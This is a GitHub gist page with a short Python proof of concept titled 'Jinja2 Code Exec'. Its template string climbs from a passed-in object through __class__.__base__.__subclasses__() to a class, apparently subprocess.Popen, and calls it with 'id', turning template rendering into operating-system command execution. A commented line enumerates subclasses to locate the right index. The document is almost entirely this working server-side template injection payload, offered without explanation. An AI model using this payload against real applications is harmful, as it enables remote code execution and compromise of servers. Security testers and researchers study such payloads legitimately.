Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created December 23, 2019 09:51
Show Gist options
  • Save FrankSpierings/374ba89853e0c52261b2681897b1e8fb to your computer and use it in GitHub Desktop.
Save FrankSpierings/374ba89853e0c52261b2681897b1e8fb to your computer and use it in GitHub Desktop.
Jinja2 Code Exec
import jinja2
# t = 'Variable {{ arg }}\n{% set a = arg.__class__.__base__.__subclasses__() %}{% for i in a %}{{ i }}\n{% endfor %}'
t = 'Variable {{ arg }}\n{{ arg.__class__.__base__.__subclasses__()[-36]("id") }}'
template = jinja2.Template(t)
r = template.render(arg="testing")
print(r)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment